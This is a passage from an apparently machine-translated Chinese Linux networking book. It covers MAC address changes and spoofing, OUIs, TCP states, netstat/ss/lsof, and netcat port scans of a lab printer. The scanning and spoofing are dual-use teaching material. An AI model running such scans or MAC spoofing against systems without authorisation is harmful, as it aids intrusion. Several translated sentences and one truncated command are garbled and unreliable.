overruns 0 frame 0 - TX packets 118956 bytes 12022334 (12.0 MB) - TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 -lo: flags=73 mtu 65536 - inet 127.0.0.1 netmask 255.0.0.0 - inet6 ::1 prefixlen 128 scopeid 0x10 - loop txqueuelen 1000 (Local Loopback) - RX packets 2241 bytes 208705 (208.7 KB) - RX errors 0 dropped 0 overruns 0 frame 0 - TX packets 2241 bytes 208705 (208.7 KB) - TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 -$ ifconfig ens33 | grep ether - ether 00:0c:29:33:2d:05 txqueuelen 1000 (Ethernet) -``` - -改变 aLinux 主机的 MAC 地址,我们有几个选项: - -在 Linux GUI 中,您可以通过单击顶部面板上的网络图标开始,然后为您的界面选择**设置**。 例如,对于只有一个以太网卡的主机,选择“**有线连接**”,然后选择**有线设置**: - -![Figure 3.3 – Changing the MAC address from the GUI, step 1 ](img/B16336_03_003.jpg) - -图 3.3 -从 GUI 中更改 MAC 地址,步骤 1 - -从弹出的界面中,打开**新概要文件**对话框中点击**+**图标,然后添加【显示】克隆的 MAC 地址字段: - -![Figure 3.4 – Changing the MAC address from the GUI, step 2 ](img/B16336_03_004.jpg) - -图 3.4 -从 GUI 中更改 MAC 地址,步骤 2 - -或者,从命令行或使用脚本,你可以做以下事情(当然,使用你自己的接口名和目标 MAC 地址): - -```sh -$ sudo ip link set dev ens33 down -$ sudo ip link set dev ens33 address 00:88:77:66:55:44 -$ sudo ip link set dev ens33 device here> up -``` - -还有一个`macchanger`包,可以用它将接口的 MAC 地址更改为一个目标值或一个伪随机值。 - -要永久更改 MAC 地址,可以使用`netplan`及其关联的配置文件。 首先对配置文件`/etc/netplan./01-network-manager-all.yaml`进行备份,然后进行编辑。 注意,要改变 MAC,你需要一个`match`语句来表示硬件**刻录地址**(**BIA**)MAC 地址值,然后在设置新 MAC 后一行: - -```sh -network: - version: 2 - ethernets: - ens33: - dhcp4: true - match: - macaddress: b6:22:eb:7b:92:44 - macaddress: xx:xx:xx:xx:xx:xx -``` - -您可以用`sudo netplan try`测试您的新配置,并使用`sudo netplan apply`应用它。 - -或者,您可以创建或编辑`/etc/udev/rules.d/75-mac-spoof.rules`文件,该文件将在每次启动时执行。 添加以下: - -```sh -ACTION=="add", SUBSYSTEM=="net", ATTR{address}=="XX:XX:XX:XX:XX:XX", RUN+="/usr/bin/ip link set dev ens33 address YY:YY:YY:YY:YY:YY" -``` - -掌握了 ARP 中 MAC 地址使用的基础知识后,让我们进一步深入研究 MAC 地址及其与各种网络适配器的制造商之间的关系。 - -## MAC 地址 OUI 值 - -那么现在我们已经讨论了超时和 ARP,我们是否知道了我们需要知道的关于二层和 MAC 地址的一切? 还没有——让我们讨论一下**组织独特标识符**(**OUI**)值。 如果你还记得我们讨论过如何使用子网掩码将 IP 地址划分为网络和主机部分,你会惊讶地发现在 MAC 地址中也有类似的分隔线! - -每个 MAC 地址的前导位应该用来标识制造商——这个值被称为 OUI。 oui 在 IEEE 维护的正式注册表中注册,并在[http://standards-oui.ieee.org/oui.txt](http://standards-oui.ieee.org/oui.txt)发布。 - -但是,Wireshark 项目维护了一个更完整的列表,位于[https://gitlab.com/wireshark/wireshark/-/raw/master/manuf](https://gitlab.com/wireshark/wireshark/-/raw/master/manuf)。 - -Wireshark 还为这个列表提供了一个查找 web 应用[https://www.wireshark.org/tools/oui-lookup.html](https://www.wireshark.org/tools/oui-lookup.html)。 - -通常一个 MAC 地址是平均分割的,前 3 个字节(6 个字符)分配给 OUI,最后 3 个字节分配给唯一标识设备。 然而,组织能够购买更长的 oui(以更低的费用),这给他们更少的设备地址分配。 - -OUI 是网络故障排除的宝贵工具——当问题出现或网络上出现未知站点时,OUI 值可以帮助识别这些罪魁祸首。 我们将在本章后面讨论网络扫描器(特别是 Nmap)时看到 OUIs 的出现。 - -如果您需要 Linux 或 Windows 的命令行 OUI 解析器,我在[https://github.com/robvandenbrink/ouilookup](https://github.com/robvandenbrink/ouilookup)上提供了一个。 - -这结束了我们在 OSI 模型的第 2 层的首次冒险,以及我们对其与第 3 层关系的检查,所以让我们通过查看 TCP 和 UDP 协议及其相关的服务,来冒险进入堆栈的更高部分,进入第 4 层。 - -# 第 4 层- TCP 和 UDP 端口如何工作 - -**传输控制协议(TCP****)和用户数据报协议**(****UDP)通常是【显示】是什么意思,当我们讨论第四层通信,特别是他们如何使用*端口的概念。***** - - **当站要*和*到另一个站在同一个子网使用其 IP 地址(IP 通常被确定在应用或表示层),它会检查 ARP 缓存是否有 MAC 地址相匹配的 IP。 如果没有该 IP 地址的条目,它将发送一个 ARP 请求到本地广播地址(正如我们在上一节中讨论的)。 - -下一步是让协议(TCP 或 UDP)建立端口到端口的通信。 站选择一个可用的端口,在`1024`之上和`65535`之下(最大端口值),称为**临时端口**。 然后,它使用该端口连接到服务器上的固定服务器端口。 这些端口的组合,加上每一端的 IP 地址和正在使用的协议(TCP 或 UDP),将始终是唯一的(因为选择源端口的方式),并被称为**元组**。 这个元组的概念是可扩展的,特别是 NetFlow 配置中的,其中其他值可以“固定”, 如【病人】的服务质量(**QOS),【t16.1】差异化服务代码点**(**DSCP)或**的服务类型**(**TOS)值,应用的名字,接口名称,和路由等信息**【T26 自治系统数字】(****asn), MPLS, 或 VLAN 信息和发送和接收的流量字节数。 由于这种灵活性,构建所有其他元组的基本 5 值元组通常被称为**5 元组**。****** - -前 1024 个端口(编号为`0-1023`)几乎从不用作源端口——这些端口被指定为服务器端口,需要使用根权限。 `1024`-`49151`范围内的端口被指定为“用户端口”,`49152`-`65535`为动态或私有端口。 服务器不但是被迫使用端口编号下面`1024`尽管(例如几乎每个数据库服务器使用端口号`1024`以上),这只是一个历史惯例,可以追溯到当 TCP 和 UDP 被发达国家和所有服务器端口低于`1024`。 如果你看一看那个年代以前的许多服务器,你会看到以下模式,例如: - -![](img/B16336_Table_03.jpg) - -正式分配的端口的完整列表由 IANA 维护,并发布在[https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml](https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml)上。 - -相关文档见*RFC6335*。 - -但是在实践中,*assignment*对于这个列表来说是一个强有力的词。 虽然是愚蠢的把`53`TCP 端口的 web 服务器,或者一个 DNS 服务器在 UDP 端口`80`,许多应用并不在这个列表,所以简单地选择一个端口,通常是免费的,使用它。 经常会看到供应商选择一个端口,这个端口实际上分配给了这个列表中的其他人,但分配给了一个更模糊或更少使用的服务。 因此,在很大程度上,这个列表是一组强有力的建议,其中暗含的含义是,我们将考虑任何选择一个知名端口供自己使用的供应商…… 比方说,“愚蠢的”。 - -## 第 4 层- TCP 和三次握手 - -UDP 简单地从工作 5 元组中拾取并开始发送数据。 接收应用负责接收该数据,或者检查应用的数据包,以验证内容是否按顺序到达,并进行任何错误检查。 事实上,正是由于这种开销的缺乏,UDP 才经常用于时间要求高的应用,如**VoIP**(**IP 语音**)和视频流。 如果在这些类型的应用中丢失了一个包,通常返回重试将中断数据流,并被最终用户注意到,因此错误在某种程度上被简单地忽略。 - -然而,TCP 协商一个序列号,并在对话进行时维护一个序列计数。 这允许基于 tcp 的应用跟踪丢失或损坏的数据包,并在发送和接收应用的更多数据时并行重试这些数据包。 最初的协商通常被称为**三次握手**,图上看起来是这样的: - -![Figure 3.5 – The TCP three-way handshake, with a TCP session established ](img/B16336_03_005.jpg) - -图 3.5 - TCP 三次握手,建立一个 TCP 会话 - -这个的工作原理如下: - -1. 第一个数据包从客户端从一个临时端口发送到服务器的(通常是)固定端口。 它设置了**SYN**(同步)位,并且有一个随机分配的**SEQ**(初始序列)号,在本例中为**5432**。 -2. 来自服务器的应答数据包的**消(承认)组,与一些**5433 年,同样也有**SYN 位组有自己的**SYN**随机值,在这种情况下【显示】6543 年。 除了握手信息外,这个包可能已经包含数据(所有后续的包可能包含数据)。****** -***** 第三个包是服务器的第一个**SYN**的**ACK**,编号为**6544**。* 继续前进,所有发送给对方的报文都是**ACK**报文,因此每个报文都有唯一的序列号和方向。**** - - ****从技术上讲,包号**2**可以是两个单独的包,但通常它们合并为一个包。 - -优雅的谈话结束也是同样的道理。 结束会话的一方发送一个**FIN**,另一方回复一个**FIN-ACK**,后者从第一方获得一个**ACK**,会话结束。 - -会话的不体面的结束通常是由**RST**(重置)数据包发起的——一旦**RST**被发送,事情就结束了,而另一方不应该对此发送应答。 - -我们将在本章后面使用这些主题,并且贯穿全书。 所以如果你仍然不清楚对的理解,请再读一遍,尤其是前面的图表,直到你觉得正确为止。 - -现在我们已经了解了 TCP 和 UDP 端口是如何相互连接的,以及为什么您的应用可能使用其中一个端口而不是另一个端口,让我们看看主机的应用是如何“监听”各个端口的。 - -# 本地端口枚举-我连接到什么? 我在听什么? - -网络中的许多基本故障排除步骤都在通信链路的一端或另一端——即在客户机或服务器主机上。 例如,如果一个 web 服务器无法访问,那么查看 web 服务器进程是否在运行,是否在适当的端口上“监听”客户机请求当然是有用的。 - -`netstat`命令是评估本地主机上的网络会话和服务状态的传统方法。 要列出所有监听端口和连接,请使用以下选项: - -![](img/B16336_Table_04.jpg) - -5 个参数说明如下: - -```sh -$ netstat –tuan -Active Internet connections (servers and established) -Proto Recv-Q Send-Q Local Address Foreign Address State -tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -tcp 0 0 192.168.122.22:34586 13.33.160.88:443 TIME_WAIT -tcp 0 0 192.168.122.22:60862 13.33.160.97:443 TIME_WAIT -tcp 0 0 192.168.122.22:48468 35.162.157.58:443 ESTABLISHED -tcp 0 0 192.168.122.22:60854 13.33.160.97:443 TIME_WAIT -tcp 0 0 192.168.122.22:50826 72.21.91.29:80 ESTABLISHED -tcp 0 0 192.168.122.22:22 192.168.122.201:3310 ESTABLISHED -tcp 0 0 192.168.122.22:60860 13.33.160.97:443 TIME_WAIT -tcp 0 0 192.168.122.22:34594 13.33.160.88:443 TIME_WAIT -tcp 0 0 192.168.122.22:42502 44.227.121.122:443 ESTABLISHED -tcp 0 0 192.168.122.22:34596 13.33.160.88:443 TIME_WAIT -tcp 0 0 192.168.122.22:34588 13.33.160.88:443 TIME_WAIT -tcp 0 0 192.168.122.22:46292 35.244.181.201:443 ESTABLISHED -tcp 0 0 192.168.122.22:47902 192.168.122.1:22 ESTABLISHED -tcp 0 0 192.168.122.22:34592 13.33.160.88:443 TIME_WAIT -tcp 0 0 192.168.122.22:34590 13.33.160.88:443 TIME_WAIT -tcp 0 0 192.168.122.22:60858 13.33.160.97:443 TIME_WAIT -tcp 0 0 192.168.122.22:60852 13.33.160.97:443 TIME_WAIT -tcp 0 0 192.168.122.22:60856 13.33.160.97:443 TIME_WAIT -tcp6 0 0 :::22 :::* LISTEN -tcp6 0 0 ::1:631 :::* LISTEN -udp 0 0 127.0.0.53:53 0.0.0.0:* -udp 0 0 0.0.0.0:49345 0.0.0.0:* -udp 0 0 0.0.0.0:631 0.0.0.0:* -udp 0 0 0.0.0.0:5353 0.0.0.0:* -udp6 0 0 :::5353 :::* -udp6 0 0 :::34878 :::* -$ -``` - -注意不同的状态(您可以使用`man netstat`命令在`man`页面查看`netstat`的所有这些状态)。 下表列出了您将看到的最常见的状态。 如果对其中任何一个的描述看起来令人困惑,您可以跳转到接下来的几页,通过使用图表(*图 3.6*和*3.7*)来完成此工作: - -![](img/B16336_Table_05.jpg) - -较少的常见状态(主要是因为这些状态通常只持续很短的时间)如下表所示。 如果你一直看到这些状态中的任何一个,你可能有一个问题需要解决: - -![](img/B16336_Table_06.jpg) - -这些状态与我们刚才讨论的握手有什么关系? 让我们用图表来表示它们——再次注意,在大多数情况下,中间步骤应该只存在很短的时间。 如果您看到`SYN_SENT`或`SYN_RECVD`状态超过几毫秒,您可能需要进行一些故障排除: - -![Figure 3.6 – TCP session status at various points as the session is established ](img/B16336_03_006.jpg) - -图 3.6 -建立 TCP 会话时各个点的会话状态 - -您将看到与 TCP 会话被断开时类似的状态。 再次注意,许多中间状态应该只持续很短的时间。 编写糟糕的应用通常不能正确地进行会话分解,因此在这些情况下可能会看到诸如`CLOSE WAIT`这样的状态。 另一种没有很好地完成会话分解的情况是,路径防火墙定义了最大 TCP 会话长度。 这种设置通常用于处理编写糟糕的应用,这些应用没有正确关闭,或者可能根本就没有关闭。 然而,最大会话计时器也可能干扰长时间运行的会话,比如旧式备份作业。 如果您遇到这种情况,并且长时间运行的会话没有很好地恢复(例如,一个备份作业出错而不是恢复会话),您可能需要与防火墙管理员一起增加这个计时器, 或者与备份管理员一起查看更现代的备份软件(例如,具有多个并行 TCP 会话和更好的错误恢复): - -![Figure 3.7 – TCP session status at various points as the session is "torn down" ](img/B16336_03_007.jpg) - -图 3.7 -当会话被“撕毁”时,TCP 在各个点的会话状态 - -请注意,在会话启动中,我们并没有将`SYN`和`ACK`从服务器返回的两个状态分隔开——关闭会话所涉及的状态要比启动会话所涉及的状态多得多。 还要注意,包转第二个分数,如果你看到任何 TCP 会话的`netstat`显示除了`ESTABLISHED`,`LISTENING`,`TIME-WAIT`,或(更少)`CLOSED`,那么是不寻常的。 - -要将侦听端口与它们背后的服务关联起来,我们将使用`l`(用于侦听)而不是`a`,并为程序添加`p`选项: - -```sh -$ sudo netstat -tulpn -[sudo] password for robv: -Active Internet connections (only servers) -Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name -tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 666/systemd-resolve -tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 811/sshd: /usr/sbin -tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 4147/cupsd -tcp6 0 0 :::22 :::* LISTEN 811/sshd: /usr/sbin -tcp6 0 0 ::1:631 :::* LISTEN 4147/cupsd -udp 0 0 127.0.0.53:53 0.0.0.0:* 666/systemd-resolve -udp 0 0 0.0.0.0:49345 0.0.0.0:* 715/avahi-daemon: r -udp 0 0 0.0.0.0:631 0.0.0.0:* 4149/cups-browsed -udp 0 0 0.0.0.0:5353 0.0.0.0:* 715/avahi-daemon: r -udp6 0 0 :::5353 :::* 715/avahi-daemon: r -udp6 0 0 :::34878 :::* 715/avahi-daemon: r -``` - -可以替代`netstat`吗? 当然,有很多。 - -例如,`ss`具有几乎相同的功能。 在下面的表格中,你可以看到我们的要求: - -![](img/B16336_Table_07.jpg) - -让我们通过添加`p`选项来添加进程信息: - -```sh -$ sudo ss -tuap -Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process -udp UNCONN 0 0 127.0.0.53%lo:domain 0.0.0.0:* users:(("systemd-resolve",pid=666,fd=12)) -udp UNCONN 0 0 0.0.0.0:49345 0.0.0.0:* users:(("avahi-daemon",pid=715,fd=14)) -udp UNCONN 0 0 0.0.0.0:631 0.0.0.0:* users:(("cups-browsed",pid=4149,fd=7)) -udp UNCONN 0 0 0.0.0.0:mdns 0.0.0.0:* users:(("avahi-daemon",pid=715,fd=12)) -udp UNCONN 0 0 [::]:mdns [::]:* users:(("avahi-daemon",pid=715,fd=13)) -udp UNCONN 0 0 [::]:34878 [::]:* users:(("avahi-daemon",pid=715,fd=15)) -tcp LISTEN 0 4096 127.0.0.53%lo:domain 0.0.0.0:* users:(("systemd-resolve",pid=666,fd=13)) -tcp LISTEN 0 128 0.0.0.0:ssh 0.0.0.0:* users:(("sshd",pid=811,fd=3)) -tcp LISTEN 0 5 127.0.0.1:ipp 0.0.0.0:* users:(("cupsd",pid=4147,fd=7)) -tcp ESTAB 0 64 192.168.122.22:ssh 192.168.122.201:3310 users:(("sshd",pid=5575,fd=4),("sshd",pid=5483,fd=4)) -tcp ESTAB 0 0 192.168.122.22:42502 44.227.121.122:https users:(("firefox",pid=4627,fd=162)) -tcp TIME-WAIT 0 0 192.168.122.22:46292 35.244.181.201:https -tcp ESTAB 0 0 192.168.122.22:47902 192.168.122.1:ssh users:(("ssh",pid=5832,fd=3)) -tcp LISTEN 0 128 [::]:ssh [::]:* users:(("sshd",pid=811,fd=4)) -tcp LISTEN 0 5 [::1]:ipp [::]:* users:(("cupsd",pid=4147,fd=6)) -``` - -注意到最后一列是如何被换行到下一行的吗? 让我们使用`cut`命令只选择文本显示中的一些字段。 让我们请求列 1、2、4、5 和 6(我们将删除`Recv-Q`和`Send-Q`字段)。 我们将使用*将一个命令的输出*管道化到下一个命令的概念来实现这一点。 - -`cut`命令只有几个选项,通常您将使用`d`(分隔符)或`f`(字段号)。 - -在我们的例子中,分隔符是一个*空格*字符,我们需要字段 1、2、5 和 6。 不幸的是,字段之间有多个空格。 我们如何解决这个问题? 让我们使用`tr`(翻译)命令。 通常,`tr`会将单个字符转换为单个不同的字符,例如`tr 'a' 'b'`会将所有出现的`a`替换为`b`。 在我们的例子中,我们将使用`tr`的`s`选项,这将把目标字符的多次出现减少到一次。 - -我们最终的命令集是什么样子的? 请看以下内容: - -```sh -sudo ss -tuap | tr -s ' ' | cut -d ' ' -f 1,2,4,5,6 --output-delimiter=$'\t' -``` - -第一个命令与我们上次使用的`ss`命令相同。 我们将其发送到`tr`,它将所有重复的空格字符替换为单个空格。 `cut`得到这个的输出,并执行以下操作:“使用空格字符分隔符,只给我字段 1、2、5 和 6,在结果列之间使用*T**ab*字符。” - -我们的最终结果吗? 让我们来看看: - -```sh -sudo ss -tuap | tr -s ' ' | cut -d ' ' -f 1,2,5,6 --output-delimiter=$'\t' -Netid State Local Address:Port -udp UNCONN 127.0.0.53%lo:domain 0.0.0.0:* -udp UNCONN 0.0.0.0:49345 0.0.0.0:* -udp UNCONN 0.0.0.0:631 0.0.0.0:* -udp UNCONN 0.0.0.0:mdns 0.0.0.0:* -udp UNCONN [::]:mdns [::]:* -udp UNCONN [::]:34878 [::]:* -tcp LISTEN 127.0.0.53%lo:domain 0.0.0.0:* -tcp LISTEN 0.0.0.0:ssh 0.0.0.0:* -tcp LISTEN 127.0.0.1:ipp 0.0.0.0:* -tcp ESTAB 192.168.122.22:ssh 192.168.122.201:3310 -tcp ESTAB 192.168.122.22:42502 44.227.121.122:https -tcp ESTAB 192.168.122.22:47902 192.168.122.1:ssh -tcp LISTEN [::]:ssh [::]:* -tcp LISTEN [::1]:ipp [::]:* -``` - -使用选项卡作为分隔符可以使结果列更容易对齐。 如果这是一个更大的清单,我们可以将整个输出发送到`.tsv`(即**tab 分隔变量**)文件中,大多数电子表格应用都可以直接读取该文件。 这可以使用管道的变体来实现,称为**重定向**。 - -在本例中,我们将使用`>`操作符将整个输出发送到名为`ports.csv`的文件中,然后使用`cat`(连接)命令输入文件: - -```sh -$ sudo ss -tuap | tr -s ' ' | cut -d ' ' -f 1,2,5,6 --output-delimiter=$'\t' > ports.tsv -$ cat ports.out -Netid State Local Address:Port -udp UNCONN 127.0.0.53%lo:domain 0.0.0.0:* -udp UNCONN 0.0.0.0:49345 0.0.0.0:* -udp UNCONN 0.0.0.0:631 0.0.0.0:* -udp UNCONN 0.0.0.0:mdns 0.0.0.0:* -udp UNCONN [::]:mdns [::]:* -udp UNCONN [::]:34878 [::]:* -tcp LISTEN 127.0.0.53%lo:domain 0.0.0.0:* -tcp LISTEN 0.0.0.0:ssh 0.0.0.0:* -tcp LISTEN 127.0.0.1:ipp 0.0.0.0:* -tcp ESTAB 192.168.122.22:ssh 192.168.122.201:3310 -tcp ESTAB 192.168.122.22:42502 44.227.121.122:https -tcp ESTAB 192.168.122.22:47902 192.168.122.1:ssh -tcp LISTEN [::]:ssh [::]:* -tcp LISTEN [::1]:ipp [::]:* -``` - -最后,还有一个名为的特殊命令,它将输出发送到两个不同的位置。 在本例中,我们将它发送到`ports.out`文件和特殊的`STDOUT`(标准输出)文件,这实际上意味着“将它输入到我的终端会话中”。 为了好玩,让我们使用`grep`命令只选择已建立的会话: - -```sh -$ sudo ss -tuap | tr -s ' ' | cut -d ' ' -f 1,2,5,6 --output-delimiter=$'\t' | grep "EST" | tee ports.out -tcp ESTAB 192.168.122.22:ssh 192.168.122.201:3310 -tcp ESTAB 192.168.122.22:42502 44.227.121.122:https -tcp ESTAB 192.168.122.22:47902 192.168.122.1:ssh -``` - -想要查看更多 TCP 会话的详细统计信息吗? TCP 使用`t`,选项使用`o`: - -```sh -$ sudo ss –to -State Recv-Q Send-Q Local Address:Port Peer Address:Port Process -ESTAB 0 64 192.168.122.22:ssh 192.168.122.201:3310 timer:(on,240ms,0) -ESTAB 0 0 192.168.122.22:42502 44.227.121.122:https timer:(keepalive,6min47sec,0) -ESTAB 0 0 192.168.122.22:47902 192.168.122.1:ssh timer:(keepalive,104min,0) -``` - -此 TCP 选项显示在诊断可能通过防火墙运行的长时间 TCP 会话时很有用。 由于内存的限制,防火墙会定期清除没有正确终止的 TCP 会话。 由于它们没有终止,在大多数情况下,防火墙将查找运行时间超过*x*分钟的会话(其中*x*是某个具有默认值且可以配置的数字)。 一种典型的情况是,如果客户机正在运行备份或通过防火墙传输大文件,可能是备份到云服务,或者在网络内外传输大文件。 如果这些会话超过了超时值,它们当然会被防火墙关闭。 - -在这种情况下,重要的是要了解在长传输中单个 TCP 会话可能持续多长时间。 备份或文件传输可能由几个较短的会话组成,这些会话以并行和顺序运行,以最大限度地提高性能。 或者它们可能是一个单一的传输,它与流程的运行时间一样长。 这组`ss`选项可以帮助您评估您的进程在底层的行为,而不必求助于包捕获(不用担心,我们将在本书的后面讨论包捕获)。 - -让我们再来看看这个问题,看看监听端口,并将显示与主机上的监听服务关联起来: - -```sh -$ sudo netstat -tulpn -[sudo] password for robv: -Active Internet connections (only servers) -Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name -tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 666/systemd-resolve -tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 811/sshd: /usr/sbin -tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 4147/cupsd -tcp6 0 0 :::22 :::* LISTEN 811/sshd: /usr/sbin -tcp6 0 0 ::1:631 :::* LISTEN 4147/cupsd -udp 0 0 127.0.0.53:53 0.0.0.0:* 666/systemd-resolve -udp 0 0 0.0.0.0:49345 0.0.0.0:* 715/avahi-daemon: r -udp 0 0 0.0.0.0:631 0.0.0.0:* 4149/cups-browsed -udp 0 0 0.0.0.0:5353 0.0.0.0:* 715/avahi-daemon: r -udp6 0 0 :::5353 :::* 715/avahi-daemon: r -udp6 0 0 :::34878 :::* 715/avahi-daemon: r -``` - -收集此信息的另一种经典方法是使用`lsof`(打开的文件列表)命令。 等一下,我们想要的是网络信息,而不是谁打开了什么文件的列表! 这个问题背后所缺少的信息是,在 Linux 中,**所有**都表示为一个文件,包括网络信息。 让我们用`lsof`来列举在 TCP 端口上的连接`80`和`22`: - -```sh -$ lsof -i :443 -COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME -firefox 4627 robv 162u IPv4 93018 0t0 TCP ubuntu:42502->ec2-44-227-121-122.us-west-2.compute.amazonaws.com:https (ESTABLISHED) -$ lsof -i :22 -COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME -ssh 5832 robv 3u IPv4 103832 0t0 TCP ubuntu:47902->_gateway:ssh (ESTABLISHED) -``` - -您可以看到相同的信息,只是以稍微不同的方式表示。 这也很方便,因为`lsof`命令显式地显示了每个会话的方向,它从会话中的初始`SYN`包中获得(发送第一个`SYN`包的人就是任何 TCP 会话中的客户端)。 - -为什么我们如此关注侦听端口和进程? 一个答案实际上在本章的前面已经提到了——您只能有一个服务在特定的端口上侦听。 典型的例子是试图在 TCP 端口`80`上启动一个新网站,而不知道已经有一个服务在该端口上侦听。 在这种情况下,第二个服务或流程将无法启动。 - -现在我们已经探讨了本地侦听端口及其相关进程,让我们将注意力转向远程侦听端口——在其他主机上侦听的服务。 - -# 使用本地工具的远程端口枚举 - -因此,现在我们知道如何计算本地服务和一些流量诊断,我们如何枚举远程主机上的监听端口和服务呢? - -最简单的方法是使用本地工具——例如,SFTP 服务器使用`scp`,FTP 服务器使用`ftp`。 但如果它是一些不同的服务,我们没有安装客户端。 非常简单,可以在紧急情况下使用`telnet`命令—例如,我们可以 telnet 到打印机的管理端口,运行`http`(`tcp/80`),并发出`GET`请求获取第一页的页头。 注意清单底部的垃圾字符——这就是图形在本页上的表示方式: - -```sh -$ telnet 192.168.122.241 80 -Trying 192.168.122.241... -Connected to 192.168.122.241. -Escape character is '^]'. -GET / HTTP/1.1 -HTTP/1.1 200 OK -Server: HP HTTP Server; HP PageWide 377dw MFP - J9V80A; Serial Number: CN74TGJ0H7; Built: Thu Oct 15, 2020 01:32:45PM {MAVEDWPP1N001.2042B.00} -Content-Encoding: gzip -Content-Type: text/html -Last-Modified: Thu, 15 Oct 2020 13:32:45 GMT -Cache-Control: max-age=0 -Set-Cookie: sid=se2b8d8b3-e51eab77388ba2a8f2612c2106b7764a;path=/;HttpOnly; -Content-Security-Policy: default-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src * 'unsafe-inline'; frame-ancestors 'self' -X-Frame-Options: SAMEORIGIN -X-UA-Compatible: IE=edge -X-XXS-Protection: 1 -X-Content-Type-Options: nosniff -Content-Language: en -Content-Length: 667 -▒▒▒O▒0▒▒▒W▒ - Hs&1 | grep -v refused -Connection to 192.168.122.241 80 port [tcp/http] succeeded! -Connection to 192.168.122.241 443 port [tcp/https] succeeded! -Connection to 192.168.122.241 515 port [tcp/printer] succeeded! -Connection to 192.168.122.241 631 port [tcp/ipp] succeeded! -``` - -这正是**我们想要的! 不仅如此,我们还发现了一些我们不知道的额外端口! 将其扩展到*所有*端口,我们发现更多的服务正在运行。 注意,在我们的第一次尝试中,我们试图包含端口`0`(这在实际网络中可以看到),但是 netcat 在这方面失败了:** - -```sh -$ nc -zv 192.168.122.241 0-65535 2>&1 | grep -v refused -nc: port number too small: 0 -$ nc -zv 192.168.122.241 1-65535 2>&1 | grep -v refused -Connection to 192.168.122.241 80 port [tcp/http] succeeded! -Connection to 192.168.122.241 443 port [tcp/https] succeeded! -Connection to 192.168.122.241 515 port [tcp/printer] succeeded! -Connection to 192.168.122.241 631 port [tcp/ipp] succeeded! -Connection to 192.168.122.241 3910 port [tcp/*] succeeded! -Connection to 192.168.122.241 3911 port [tcp/*] succeeded! -Connection to 192.168.122.241 8080 port [tcp/http-alt] succeeded! -Connection to 192.168.122.241 9100 port [tcp/*] succeeded! -``` - -我们也可以为 UDP 复制这个: - -```sh -$ nc -u -zv 192.168.122.1 53 -Connection to 192.168.122.1 53 port [udp/domain] succeeded! -``` - -然而,如果我们扫描 UDP 范围,这可能需要**非常**长的时间-我们也会发现 UDP 扫描不是很可靠。 它取决于使用 ICMP`port unreachable`错误响应的目标主机,如果路径中有任何防火墙,并不总是支持 ICMP`port unreachable`错误。 让我们看看当目标是 UDP 端口时,“first`1024`”扫描需要多长时间(注意我们如何使用分号将命令串在一起): - -```sh -$ date ; nc -u -zv 192.168.122.241 1-1024 2>&1 | grep succeed ; date -Thu 07 Jan 2021 09:28:17 AM PST -Connection to 192.168.122.241 68 port [udp/bootpc] succeeded! -Connection to 192.168.122.241 137 port [udp/netbios-ns] succeeded! -Connection to 192.168.122.241 138 port [udp/netbios-dgm] succeeded! -Connection to 192.168.122.241 161 port [udp/snmp] succeeded! -Connection to 192.168.122.241 427 port [udp/svrloc] succeeded! -Thu 07 Jan 2021 09:45:32 AM PST -``` - -是的,一个坚实的 18 分钟-这个方法不是一个速度恶魔! - -使用 netcat,您还可以直接与服务交互,与我们的 telnet 示例相同,但是没有 telnet 带来的“终端/光标控制”类型开销。 例如,连接到一个 web 服务器,语法如下: - -```sh -# nc 192.168.122.241 80 -``` - -但更有趣的是,我们可以设置一个假服务,让 netcat 监听给定的端口。 如果您需要测试连通性,特别是如果您想测试防火墙规则,但还没有构建目标主机或服务,这将非常方便。 - -此语法告诉主机监听端口`80`。 使用`l`参数告诉 netcat 侦听,但是当您的远程测试器或扫描仪连接或断开时,netcat 侦听器退出。 使用`l`参数是“更仔细地监听”选项,它正确地处理 TCP 连接和断开连接,将监听器保留在原位。 不幸的是,在 Ubuntu 的 netcat 实现中,`l`参数和`–e`(execute)参数都缺失了。 我们可以假装这一切——继续读下去! - -在此基础上,让我们用 netcat 建立一个简单的网站! 首先,创建一个简单的文本文件。 我们将使我们的`index.html`类似如下: - -![](img/B16336_Table_09.jpg) - -现在,为了让网站正常运行,让我们在 netcat 语句中添加一个 1 秒的超时,并将整个语句放入循环,这样当我们退出连接时,netcat 会重新启动: - -```sh -$ while true; do cat index.html | nc -l -p 80 –q 1; done -nc: Permission denied -nc: Permission denied -nc: Permission denied -…. (and so on) …. -``` - -注意在端口`80`上的监听是如何失败的——我们必须按*Ctrl*+*C*才能退出循环。 这是为什么呢? (提示:回到本章前面的 Linux 中端口的定义。) 让我们再次尝试端口`1500`: - -```sh -$ while true; do cat index.html | nc -l -p 1500 -q 1 ; done -``` - -浏览我们的新网站(注意它是 HTTP,并注意用于设置目标端口的`:1500`),我们现在看到以下内容: - -![Figure 3.8 – A Netcat simple website ](img/B16336_03_008.jpg) - -图 3.8 -一个简单的 Netcat 网站 - -回到 Linux 控制台,您将看到 netcat 响应客户端`GET`请求和浏览器的`User-Agent`字符串。 你会看到整个 HTTP 交换(从服务器的角度): - -```sh -GET / HTTP/1.1 -Host: 192.168.122.22:1500 -Connection: keep-alive -Cache-Control: max-age=0 -Upgrade-Insecure-Requests: 1 -User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66 -Accept: 